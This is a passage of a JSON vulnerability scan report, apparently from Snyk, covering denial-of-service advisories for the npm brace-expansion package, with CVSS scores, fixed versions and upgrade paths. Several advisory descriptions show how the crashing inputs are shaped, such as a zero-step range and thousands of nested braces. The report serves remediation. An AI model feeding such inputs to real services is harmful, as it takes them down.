"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
